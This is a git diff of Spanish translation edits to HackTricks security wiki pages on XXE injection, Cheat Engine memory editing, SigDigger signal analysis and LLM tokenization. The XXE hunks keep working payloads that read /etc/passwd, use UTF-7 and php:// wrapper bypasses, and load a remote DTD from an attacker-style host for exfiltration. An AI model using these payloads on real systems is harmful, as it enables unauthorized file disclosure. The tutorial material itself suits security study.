xss-in-markdown.md
|
||||
|
||||
@ -35,7 +35,7 @@ En este ataque voy a probar si una simple declaración de NUEVA ENTIDAD está fu
|
||||
|
||||
Intentemos leer `/etc/passwd` de diferentes maneras. Para Windows, podrías intentar leer: `C:\windows\system32\drivers\etc\hosts`
|
||||
|
||||
En este primer caso, observa que SYSTEM "_\*\*file:///\*\*etc/passwd_" también funcionará.
|
||||
En este primer caso, ten en cuenta que SYSTEM "_\*\*file:///\*\*etc/passwd_" también funcionará.
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
@ -144,11 +144,11 @@ Al ejecutar, la respuesta del servidor web debería incluir un mensaje de error
|
||||
|
||||
.png>)
|
||||
|
||||
_**Tenga en cuenta que el DTD externo nos permite incluir una entidad dentro de la segunda (\*\***`eval`\***\*), pero está prohibido en el DTD interno. Por lo tanto, no puede forzar un error sin usar un DTD externo (generalmente).**_
|
||||
_**Por favor, note que el DTD externo nos permite incluir una entidad dentro de la segunda (\*\***`eval`\***\*), pero está prohibido en el DTD interno. Por lo tanto, no puedes forzar un error sin usar un DTD externo (usualmente).**_
|
||||
|
||||
### **Error Basado (DTD del sistema)**
|
||||
|
||||
¿Y qué pasa con las vulnerabilidades XXE ciegas cuando **las interacciones fuera de banda están bloqueadas** (no hay conexiones externas disponibles)?
|
||||
¿Y qué pasa con las vulnerabilidades XXE ciegas cuando **las interacciones fuera de banda están bloqueadas** (las conexiones externas no están disponibles)?
|
||||
|
||||
Una laguna en la especificación del lenguaje XML puede **exponer datos sensibles a través de mensajes de error cuando el DTD de un documento mezcla declaraciones internas y externas**. Este problema permite la redefinición interna de entidades declaradas externamente, facilitando la ejecución de ataques XXE basados en errores. Tales ataques explotan la redefinición de una entidad de parámetro XML, originalmente declarada en un DTD externo, desde dentro de un DTD interno. Cuando las conexiones fuera de banda son bloqueadas por el servidor, los atacantes deben confiar en archivos DTD locales para llevar a cabo el ataque, con el objetivo de inducir un error de análisis para revelar información sensible.
|
||||
|
||||
@ -165,7 +165,7 @@ Considere un escenario donde el sistema de archivos del servidor contiene un arc
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Los pasos descritos se ejecutan mediante este DTD:
|
||||
Los pasos descritos son ejecutados por este DTD:
|
||||
|
||||
- La definición de una entidad de parámetro XML llamada `local_dtd` incluye el archivo DTD externo ubicado en el sistema de archivos del servidor.
|
||||
- Ocurre una redefinición para la entidad de parámetro XML `custom_entity`, originalmente definida en el DTD externo, para encapsular un [error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Esta redefinición está diseñada para provocar un error de análisis, exponiendo el contenido del archivo `/etc/passwd`.
|
||||
@ -201,7 +201,9 @@ Para más información, consulta [https://portswigger.net/web-security/xxe/blind
|
||||
|
||||
En el siguiente increíble repositorio de github puedes encontrar **rutas de DTDs que pueden estar presentes en el sistema**:
|
||||
|
||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||
{{#ref}}
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Además, si tienes la **imagen de Docker del sistema víctima**, puedes usar la herramienta del mismo repositorio para **escanear** la **imagen** y **encontrar** la ruta de los **DTDs** presentes dentro del sistema. Lee el [Readme del github](https://github.com/GoSecure/dtd-finder) para aprender cómo.
|
||||
```bash
|
||||
@ -241,7 +243,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
> [!CAUTION]
|
||||
> Para poder acceder a archivos dentro de archivos PKZIP es **súper útil abusar de XXE a través de archivos DTD del sistema.** Consulta [esta sección para aprender cómo abusar de archivos DTD del sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
El proceso detrás de acceder a un archivo dentro de un archivo PKZIP a través del protocolo jar implica varios pasos:
|
||||
El proceso detrás del acceso a un archivo dentro de un archivo PKZIP a través del protocolo jar implica varios pasos:
|
||||
|
||||
1. Se realiza una solicitud HTTP para descargar el archivo zip desde una ubicación especificada, como `https://download.website.com/archive.zip`.
|
||||
2. La respuesta HTTP que contiene el archivo se almacena temporalmente en el sistema, típicamente en una ubicación como `/tmp/...`.
|
||||
@ -320,7 +322,7 @@ Consulta [https://portswigger.net/web-security/xxe](https://portswigger.net/web-
|
||||
|
||||
Los archivos subidos por los usuarios a ciertas aplicaciones, que luego son procesados en el servidor, pueden explotar vulnerabilidades en cómo se manejan los formatos de archivo XML o que contienen XML. Formatos de archivo comunes como documentos de oficina (DOCX) e imágenes (SVG) se basan en XML.
|
||||
|
||||
Cuando los usuarios **suben imágenes**, estas imágenes son procesadas o validadas del lado del servidor. Incluso para aplicaciones que esperan formatos como PNG o JPEG, **la biblioteca de procesamiento de imágenes del servidor también podría soportar imágenes SVG**. SVG, al ser un formato basado en XML, puede ser explotado por atacantes para enviar imágenes SVG maliciosas, exponiendo así al servidor a vulnerabilidades XXE (XML External Entity).
|
||||
Cuando los usuarios **suben imágenes**, estas imágenes son procesadas o validadas del lado del servidor. Incluso para aplicaciones que esperan formatos como PNG o JPEG, la **biblioteca de procesamiento de imágenes del servidor también podría soportar imágenes SVG**. SVG, al ser un formato basado en XML, puede ser explotado por atacantes para enviar imágenes SVG maliciosas, exponiendo así al servidor a vulnerabilidades XXE (XML External Entity).
|
||||
|
||||
Un ejemplo de tal exploit se muestra a continuación, donde una imagen SVG maliciosa intenta leer archivos del sistema:
|
||||
```xml
|
||||
@ -406,7 +408,7 @@ Esto solo funciona si el servidor XML acepta el protocolo `data://`.
|
||||
|
||||
### UTF-7
|
||||
|
||||
Puedes usar la \[**"Encode Recipe**" de cyberchef aquí ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformar a UTF-7.
|
||||
Puedes usar la \[**"Encode Recipe**" de cyberchef aquí ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) para transformar a UTF-7.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -420,15 +422,15 @@ Puedes usar la \[**"Encode Recipe**" de cyberchef aquí ]\(\[[https://gchq.githu
|
||||
```
|
||||
### File:/ Protocol Bypass
|
||||
|
||||
Si la web está utilizando PHP, en lugar de usar `file:/` puedes usar **php wrappers**`php://filter/convert.base64-encode/resource=` para **acceder a archivos internos**.
|
||||
Si la web está usando PHP, en lugar de usar `file:/` puedes usar **php wrappers**`php://filter/convert.base64-encode/resource=` para **acceder a archivos internos**.
|
||||
|
||||
Si la web está utilizando Java, puedes consultar el [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
|
||||
Si la web está usando Java, puedes verificar el [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
|
||||
|
||||
### HTML Entities
|
||||
|
||||
Truco de [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Puedes crear una **entidad dentro de una entidad** codificándola con **html entities** y luego llamarla para **cargar un dtd**.\
|
||||
Ten en cuenta que las **HTML Entities** utilizadas deben ser **numéricas** (como \[en este ejemplo]\([https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
Ten en cuenta que las **HTML Entities** utilizadas deben ser **numéricas** (como \[en este ejemplo]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
<data>
|
||||
@ -532,7 +534,7 @@ Para incluir el contenido del archivo en el mensaje de error, se ajusta el archi
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Esta modificación conduce a la exfiltración exitosa del contenido del archivo, ya que se refleja en la salida de error enviada a través de HTTP. Esto indica un ataque XXE (XML External Entity) exitoso, aprovechando tanto técnicas Out of Band como Error-Based para extraer información sensible.
|
||||
Esta modificación conduce a la exitosa exfiltración del contenido del archivo, ya que se refleja en la salida de error enviada a través de HTTP. Esto indica un ataque XXE (XML External Entity) exitoso, aprovechando tanto técnicas Out of Band como Error-Based para extraer información sensible.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
@ -671,18 +673,19 @@ XMLDecoder es una clase de Java que crea objetos basados en un mensaje XML. Si u
|
||||
```
|
||||
## Herramientas
|
||||
|
||||
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
|
||||
{{#ref}}
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
{{#endref}}
|
||||
|
||||
## Referencias
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
|
||||
- Extraer información a través de HTTP usando DTD externo propio: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
|
||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
|
||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
- Extraer información a través de HTTP usando DTD externo propio: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
|
||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
|
||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
|
||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -10,7 +10,7 @@ Cuando lo descargas y lo ejecutas, se te **presenta** un **tutorial** sobre cóm
|
||||
.png>)
|
||||
|
||||
Esta herramienta es muy útil para encontrar **dónde se almacena algún valor** (generalmente un número) **en la memoria** de un programa.\
|
||||
**Generalmente, los números** se almacenan en forma de **4bytes**, pero también podrías encontrarlos en formatos **double** o **float**, o puede que desees buscar algo **diferente de un número**. Por esa razón, necesitas asegurarte de **seleccionar** lo que deseas **buscar**:
|
||||
**Generalmente los números** se almacenan en forma de **4bytes**, pero también podrías encontrarlos en formatos **double** o **float**, o puede que desees buscar algo **diferente de un número**. Por esa razón, necesitas asegurarte de **seleccionar** lo que deseas **buscar**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -55,7 +55,7 @@ Luego, haces algo para que **el valor cambie**, y **detienes** el juego y **real
|
||||
.png>)
|
||||
|
||||
Cheat Engine buscará los **valores** que **pasaron de 100 al nuevo valor**. Felicitaciones, **encontraste** la **dirección** del valor que estabas buscando, ahora puedes modificarlo.\
|
||||
&#xNAN;_Si aún tienes varios valores, haz algo para modificar nuevamente ese valor y realiza otro "siguiente escaneo" para filtrar las direcciones._
|
||||
_If aún tienes varios valores, haz algo para modificar nuevamente ese valor y realiza otro "siguiente escaneo" para filtrar las direcciones._
|
||||
|
||||
### Valor desconocido, cambio conocido
|
||||
|
||||
@ -65,7 +65,7 @@ Así que, comienza realizando un escaneo de tipo "**Valor inicial desconocido**"
|
||||
|
||||
.png>)
|
||||
|
||||
Luego, haz que el valor cambie, indica **cómo** el **valor** **cambió** (en mi caso, disminuyó en 1) y realiza un **siguiente escaneo**:
|
||||
Luego, haz que el valor cambie, indica **cómo** el **valor** **cambió** (en mi caso se redujo en 1) y realiza un **siguiente escaneo**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -81,9 +81,9 @@ Ten en cuenta que hay un **montón de cambios posibles** y puedes hacer estos **
|
||||
|
||||
### Dirección de memoria aleatoria - Encontrando el código
|
||||
|
||||
Hasta ahora hemos aprendido cómo encontrar una dirección que almacena un valor, pero es muy probable que en **diferentes ejecuciones del juego esa dirección esté en diferentes lugares de la memoria**. Así que vamos a descubrir cómo encontrar siempre esa dirección.
|
||||
Hasta ahora hemos aprendido cómo encontrar una dirección que almacena un valor, pero es muy probable que en **diferentes ejecuciones del juego esa dirección esté en diferentes lugares de la memoria**. Así que vamos a averiguar cómo encontrar siempre esa dirección.
|
||||
|
||||
Usando algunos de los trucos mencionados, encuentra la dirección donde tu juego actual está almacenando el valor importante. Luego (deteniendo el juego si lo deseas), haz clic derecho en la **dirección** encontrada y selecciona "**Descubrir qué accede a esta dirección**" o "**Descubrir qué escribe en esta dirección**":
|
||||
Usando algunos de los trucos mencionados, encuentra la dirección donde tu juego actual está almacenando el valor importante. Luego (deteniendo el juego si lo deseas) haz clic derecho en la **dirección** encontrada y selecciona "**Descubrir qué accede a esta dirección**" o "**Descubrir qué escribe en esta dirección**":
|
||||
|
||||
.png>)
|
||||
|
||||
@ -102,7 +102,7 @@ Así que, ahora puedes modificarlo para que el código no afecte tu número, o s
|
||||
|
||||
### Dirección de memoria aleatoria - Encontrando el puntero
|
||||
|
||||
Siguiendo los pasos anteriores, encuentra dónde está el valor que te interesa. Luego, usando "**Descubrir qué escribe en esta dirección**", descubre qué dirección escribe este valor y haz doble clic en él para obtener la vista de desensamblado:
|
||||
Siguiendo los pasos anteriores, encuentra dónde está el valor que te interesa. Luego, usando "**Descubrir qué escribe en esta dirección**", averigua qué dirección escribe este valor y haz doble clic en él para obtener la vista de desensamblado:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -142,7 +142,7 @@ Luego, haz clic en **CTRL+a** para invocar la ventana de Auto ensamblado y selec
|
||||
|
||||
.png>)
|
||||
|
||||
Completa la **dirección de la instrucción que deseas modificar** (esto generalmente se completa automáticamente):
|
||||
Rellena la **dirección de la instrucción que deseas modificar** (esto generalmente se completa automáticamente):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -150,7 +150,7 @@ Se generará una plantilla:
|
||||
|
||||
.png>)
|
||||
|
||||
Así que, inserta tu nuevo código ensamblador en la sección "**newmem**" y elimina el código original de "**originalcode**" si no deseas que se ejecute\*\*.\*\* En este ejemplo, el código inyectado sumará 2 puntos en lugar de restar 1:
|
||||
Así que, inserta tu nuevo código de ensamblador en la sección "**newmem**" y elimina el código original de "**originalcode**" si no deseas que se ejecute\*\*.\*\* En este ejemplo, el código inyectado sumará 2 puntos en lugar de restar 1:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -9,7 +9,7 @@
|
||||
### Configuración básica
|
||||
|
||||
Después de instalar, hay algunas cosas que podrías considerar configurar.\
|
||||
En la configuración (el segundo botón de pestaña) puedes seleccionar el **dispositivo SDR** o **seleccionar un archivo** para leer y qué frecuencia sintonizar y la tasa de muestreo (recomendado hasta 2.56Msps si tu PC lo soporta)\\
|
||||
En la configuración (el segundo botón de pestaña) puedes seleccionar el **dispositivo SDR** o **seleccionar un archivo** para leer y qué frecuencia sintonizar y la tasa de muestreo (recomendado hasta 2.56Msps si tu PC lo soporta).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -26,13 +26,13 @@ En el comportamiento de la GUI, se recomienda habilitar algunas cosas si tu PC l
|
||||
|
||||
.png>)
|
||||
|
||||
- El **sintonizador** de SigDigger ayuda a **capturar mejores señales** (pero también puede degradarlas). Idealmente comienza con 0 y sigue **aumentándolo hasta** que encuentres que el **ruido** introducido es **mayor** que la **mejora de la señal** que necesitas).
|
||||
- El **sintonizador** de SigDigger ayuda a **capturar mejores señales** (pero también puede degradarlas). Idealmente comienza con 0 y sigue **aumentándolo hasta** que encuentres que el **ruido** introducido es **mayor** que la **mejora de la señal** que necesitas.
|
||||
|
||||
.png>)
|
||||
|
||||
### Sincronizar con el canal de radio
|
||||
|
||||
Con [**SigDigger** ](https://github.com/BatchDrake/SigDigger)sincroniza con el canal que deseas escuchar, configura la opción "Vista previa de audio de banda base", configura el ancho de banda para obtener toda la información que se envía y luego ajusta el sintonizador al nivel antes de que el ruido comience a aumentar realmente:
|
||||
Con [**SigDigger** ](https://github.com/BatchDrake/SigDigger)sincroniza con el canal que deseas escuchar, configura la opción "Baseband audio preview", configura el ancho de banda para obtener toda la información que se envía y luego ajusta el sintonizador al nivel antes de que el ruido comience a aumentar realmente:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -50,17 +50,17 @@ Con [**SigDigger** ](https://github.com/BatchDrake/SigDigger)sincroniza con el c
|
||||
|
||||
### Descubriendo el tipo de modulación con IQ
|
||||
|
||||
Hay 3 formas de almacenar información en señales: Modulando la **amplitud**, **frecuencia** o **fase**.\
|
||||
Si estás revisando una señal, hay diferentes maneras de intentar averiguar qué se está utilizando para almacenar información (encuentra más formas a continuación), pero una buena es revisar el gráfico IQ.
|
||||
Hay 3 formas de almacenar información en señales: modulando la **amplitud**, **frecuencia** o **fase**.\
|
||||
Si estás revisando una señal, hay diferentes formas de intentar averiguar qué se está utilizando para almacenar información (encuentra más formas a continuación), pero una buena es revisar el gráfico IQ.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Detectando AM**: Si en el gráfico IQ aparecen, por ejemplo, **2 círculos** (probablemente uno en 0 y otro en una amplitud diferente), podría significar que esta es una señal AM. Esto se debe a que en el gráfico IQ la distancia entre el 0 y el círculo es la amplitud de la señal, por lo que es fácil visualizar diferentes amplitudes que se están utilizando.
|
||||
- **Detectando PM**: Al igual que en la imagen anterior, si encuentras pequeños círculos no relacionados entre sí, probablemente significa que se está utilizando una modulación de fase. Esto se debe a que en el gráfico IQ, el ángulo entre el punto y el 0,0 es la fase de la señal, lo que significa que se están utilizando 4 fases diferentes.
|
||||
- Ten en cuenta que si la información está oculta en el hecho de que se cambia una fase y no en la fase misma, no verás fases diferentes claramente diferenciadas.
|
||||
- **Detectando PM**: Al igual que en la imagen anterior, si encuentras pequeños círculos no relacionados entre sí, probablemente significa que se está utilizando modulación de fase. Esto se debe a que en el gráfico IQ, el ángulo entre el punto y el 0,0 es la fase de la señal, lo que significa que se están utilizando 4 fases diferentes.
|
||||
- Ten en cuenta que si la información está oculta en el hecho de que se cambia una fase y no en la fase misma, no verás diferentes fases claramente diferenciadas.
|
||||
- **Detectando FM**: IQ no tiene un campo para identificar frecuencias (la distancia al centro es amplitud y el ángulo es fase).\
|
||||
Por lo tanto, para identificar FM, deberías **ver básicamente un círculo** en este gráfico.\
|
||||
Además, una frecuencia diferente es "representada" por el gráfico IQ mediante una **aceleración de velocidad a través del círculo** (así que en SysDigger, al seleccionar la señal, el gráfico IQ se llena; si encuentras una aceleración o cambio de dirección en el círculo creado, podría significar que esto es FM):
|
||||
Además, una frecuencia diferente es "representada" por el gráfico IQ mediante una **aceleración de velocidad a través del círculo** (así que en SysDigger, al seleccionar la señal, el gráfico IQ se poblará; si encuentras una aceleración o cambio de dirección en el círculo creado, podría significar que esto es FM):
|
||||
|
||||
## Ejemplo de AM
|
||||
|
||||
@ -72,7 +72,7 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
|
||||
|
||||
#### Revisando la envoltura
|
||||
|
||||
Revisando la información AM con [**SigDigger** ](https://github.com/BatchDrake/SigDigger) y solo mirando la **envoltura**, puedes ver diferentes niveles de amplitud claros. La señal utilizada está enviando pulsos con información en AM, así es como se ve un pulso:
|
||||
Revisando la información AM con [**SigDigger** ](https://github.com/BatchDrake/SigDigger)y solo mirando la **envoltura**, puedes ver diferentes niveles de amplitud claros. La señal utilizada está enviando pulsos con información en AM, así es como se ve un pulso:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -82,7 +82,7 @@ Y así es como se ve parte del símbolo con la forma de onda:
|
||||
|
||||
#### Revisando el Histograma
|
||||
|
||||
Puedes **seleccionar toda la señal** donde se encuentra la información, seleccionar el modo **Amplitud** y **Selección** y hacer clic en **Histograma**. Puedes observar que solo se encuentran 2 niveles claros.
|
||||
Puedes **seleccionar toda la señal** donde se encuentra la información, seleccionar el modo **Amplitud** y **Selección** y hacer clic en **Histograma.** Puedes observar que solo se encuentran 2 niveles claros.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -102,7 +102,7 @@ En este ejemplo puedes ver cómo hay un **gran círculo** pero también **muchos
|
||||
|
||||
#### Con un símbolo
|
||||
|
||||
Selecciona el símbolo más pequeño que puedas encontrar (así te aseguras de que es solo 1) y revisa la "Frecuencia de selección". En este caso sería 1.013kHz (así que 1kHz).
|
||||
Selecciona el símbolo más pequeño que puedas encontrar (así te aseguras de que sea solo 1) y revisa la "Frecuencia de selección". En este caso sería 1.013kHz (así que 1kHz).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -155,7 +155,7 @@ Ejemplo de señal enviando información modulada en FM:
|
||||
|
||||
.png>)
|
||||
|
||||
En la imagen anterior puedes observar bastante bien que **se utilizan 2 frecuencias**, pero si **observas** la **forma de onda** podrías **no ser capaz de identificar correctamente las 2 frecuencias diferentes**:
|
||||
En la imagen anterior puedes observar bastante bien que **se utilizan 2 frecuencias**, pero si **observas** la **forma de onda**, es posible que **no puedas identificar correctamente las 2 frecuencias diferentes**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -187,16 +187,16 @@ Y este sería el histograma de fase (que deja muy claro que la señal no está m
|
||||
|
||||
IQ no tiene un campo para identificar frecuencias (la distancia al centro es amplitud y el ángulo es fase).\
|
||||
Por lo tanto, para identificar FM, deberías **ver básicamente un círculo** en este gráfico.\
|
||||
Además, una frecuencia diferente es "representada" por el gráfico IQ mediante una **aceleración de velocidad a través del círculo** (así que en SysDigger, al seleccionar la señal, el gráfico IQ se llena; si encuentras una aceleración o cambio de dirección en el círculo creado, podría significar que esto es FM):
|
||||
Además, una frecuencia diferente es "representada" por el gráfico IQ mediante una **aceleración de velocidad a través del círculo** (así que en SysDigger, al seleccionar la señal, el gráfico IQ se poblará; si encuentras una aceleración o cambio de dirección en el círculo creado, podría significar que esto es FM):
|
||||
|
||||
.png>)
|
||||
|
||||
### Obtener la Tasa de Símbolos
|
||||
|
||||
Puedes usar la **misma técnica que la utilizada en el ejemplo de AM** para obtener la tasa de símbolos una vez que hayas encontrado las frecuencias que llevan símbolos.
|
||||
Puedes usar la **misma técnica que se utilizó en el ejemplo de AM** para obtener la tasa de símbolos una vez que hayas encontrado las frecuencias que llevan símbolos.
|
||||
|
||||
### Obtener Bits
|
||||
|
||||
Puedes usar la **misma técnica que la utilizada en el ejemplo de AM** para obtener los bits una vez que hayas **encontrado que la señal está modulada en frecuencia** y la **tasa de símbolos**.
|
||||
Puedes usar la **misma técnica que se utilizó en el ejemplo de AM** para obtener los bits una vez que hayas **encontrado que la señal está modulada en frecuencia** y la **tasa de símbolos**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -22,12 +22,12 @@ Tokens: `["Hola", ",", "mundo", "!"]`
|
||||
- `[PAD]` (Relleno): Se utiliza para hacer que todas las secuencias en un lote tengan la misma longitud.
|
||||
- `[UNK]` (Desconocido): Representa tokens que no están en el vocabulario.
|
||||
- _Ejemplo:_\
|
||||
Si `"Hola"` tiene ID `64`, `","` es `455`, `"mundo"` es `78`, y `"!"` es `467`, entonces:\
|
||||
Si `"Hola"` tiene el ID `64`, `","` es `455`, `"mundo"` es `78`, y `"!"` es `467`, entonces:\
|
||||
`"¡Hola, mundo!"` → `[64, 455, 78, 467]`
|
||||
- **Manejo de Palabras Desconocidas:**\
|
||||
Si una palabra como `"Adiós"` no está en el vocabulario, se reemplaza con `[UNK]`.\
|
||||
`"Adiós, mundo!"` → `["[UNK]", ",", "mundo", "!"]` → `[987, 455, 78, 467]`\
|
||||
&#xNAN;_(Asumiendo que `[UNK]` tiene ID `987`)_
|
||||
`"¡Adiós, mundo!"` → `["[UNK]", ",", "mundo", "!"]` → `[987, 455, 78, 467]`\
|
||||
_(Suponiendo que `[UNK]` tiene el ID `987`)_
|
||||
|
||||
### **Métodos Avanzados de Tokenización**
|
||||
|
||||
@ -43,7 +43,7 @@ Mientras que el tokenizador básico funciona bien para textos simples, tiene lim
|
||||
- Elimina la necesidad de un token `[UNK]` ya que todas las palabras pueden ser representadas combinando tokens de subpalabras existentes.
|
||||
- Vocabulario más eficiente y flexible.
|
||||
- _Ejemplo:_\
|
||||
